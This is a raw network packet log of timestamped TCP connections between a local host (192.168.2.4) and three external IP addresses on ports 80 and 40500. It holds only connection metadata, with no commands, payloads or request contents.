Oct 28, 2024 11:11:22.618061066 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515336037 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515369892 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515388966 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515407085 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.515410900 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515428066 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515435934 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.515445948 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515465021 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515475035 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.515484095 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515499115 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.515501022 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515521049 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.515526056 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.515557051 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.520992041 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.521060944 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.540958881 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:23.546436071 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:23.547032118 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:23.550004005 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:23.555526972 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:23.555895090 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:23.561331034 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:23.669003010 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669020891 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669039965 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669099092 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.669102907 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669121981 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.669161081 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.669325113 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669341087 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669357061 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669368982 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.669446945 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.669723034 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669778109 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.669801950 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669817924 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669832945 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.669864893 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.669895887 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.670398951 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.670454025 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.670473099 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.670489073 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.670504093 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.670533895 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.670567989 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.671211958 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.671262980 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.671267033 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.671287060 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.671303988 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.671328068 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.671366930 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.671989918 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.672046900 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.672374010 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.672627926 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.674803972 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.674839020 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.674855947 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.674870014 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.674882889 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.674909115 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.674909115 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.674922943 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.674952030 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.674972057 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.823560953 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.823643923 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.823645115 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.823677063 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.823730946 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.823734045 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.823772907 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.823807001 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.823818922 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.823843956 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.823852062 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.823888063 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.823955059 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.823992014 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824026108 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824038029 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.824124098 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824171066 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.824177027 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824209929 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824219942 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.824440956 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824490070 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.824495077 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824532032 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824542999 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.824575901 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.824584961 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824619055 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824630022 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.824654102 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824671984 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.824700117 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.824948072 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.824995041 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.825001955 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825046062 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.825052977 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825097084 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.825105906 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825139046 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825155020 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.825175047 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825181961 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.825210094 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825221062 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.825246096 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825253963 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.825282097 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825290918 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.825877905 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825927019 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.825937986 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.825973034 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.826015949 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.826025009 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.826057911 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.826069117 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.826093912 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.826128960 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.826145887 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.826164007 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.826173067 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.826200008 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.826244116 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.826839924 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.826951027 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.826997042 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.827004910 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.827040911 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.827049017 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.827075005 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.827112913 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.827121019 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.827147007 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.827182055 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.827194929 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.827217102 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.827225924 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.827533007 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.827773094 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.827914953 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.829185963 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.829250097 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978037119 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978091002 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978091955 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978110075 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978136063 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978142977 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978156090 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978163004 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978183031 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978203058 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978228092 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978317022 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978338957 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978359938 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978383064 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978389978 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978403091 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978411913 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978430033 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978451967 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978458881 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978473902 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978480101 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978493929 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978499889 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978511095 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978513002 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:23.978534937 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:23.978559017 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:24.667268991 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:24.744996071 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:24.914130926 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:24.994450092 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:25.000492096 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:25.000557899 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:25.006009102 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:25.069521904 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:25.074881077 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:25.074949980 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:25.080297947 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:25.366837025 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:25.441555977 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:25.441606045 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:25.482867956 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:25.488224030 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:25.488276005 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:25.493709087 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:25.590903044 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:25.596332073 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:25.596422911 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:25.596575022 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:25.602451086 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:25.604454041 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:25.610425949 CET	40500	49735	2.186.114.89	192.168.2.4
Oct 28, 2024 11:11:25.610485077 CET	49735	40500	192.168.2.4	2.186.114.89
Oct 28, 2024 11:11:26.495398998 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495412111 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495430946 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495439053 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495455980 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495464087 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495481014 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495488882 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495491028 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.495505095 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495515108 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.495539904 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.495539904 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.495563030 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.500952005 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.501005888 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.501013041 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.501034021 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.501283884 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.641047955 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641144991 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.641324043 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641331911 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641393900 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641402960 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641417980 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641417980 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.641457081 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.641479015 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.641901016 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641910076 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641927004 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641933918 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.641976118 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.642030001 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.642525911 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.642535925 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.642551899 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.642565966 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.642580986 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.642595053 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.642616034 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.643533945 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.643542051 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.643558025 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.643564939 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.643574953 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.643599033 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.643632889 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.644505978 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.644514084 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.644530058 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.644567966 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.644618034 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.646672010 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.646682024 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.646779060 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.646804094 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.646858931 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.787031889 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787043095 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787069082 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787079096 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787095070 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787103891 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787121058 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787126064 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.787163973 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.787175894 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.787353039 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787424088 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787431002 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787516117 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787524939 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787540913 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787544012 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.787575006 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.787601948 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.787794113 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787805080 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787830114 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787837982 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787853956 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787859917 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.787863970 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.787882090 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.787900925 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.788331032 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788340092 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788348913 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788357019 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788383007 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.788414955 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788434029 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788441896 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788456917 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788465023 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.788467884 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788476944 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788485050 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.788505077 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.788542986 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.789098024 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.789107084 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.789123058 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.789170027 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.789314985 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.789330959 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.789340019 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.789383888 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.789388895 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.789397001 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.789403915 CET	80	49740	91.202.233.141	192.168.2.4
Oct 28, 2024 11:11:26.789410114 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:26.789473057 CET	49740	80	192.168.2.4	91.202.233.141
Oct 28, 2024 11:11:28.278330088 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:28.278707027 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:28.414951086 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:28.415043116 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:28.415307045 CET	57562	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:28.418035984 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:28.418095112 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:28.420787096 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339632034 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339646101 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339658022 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339673042 CET	80	57562	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:29.339682102 CET	80	57562	185.215.113.66	192.168.2.4
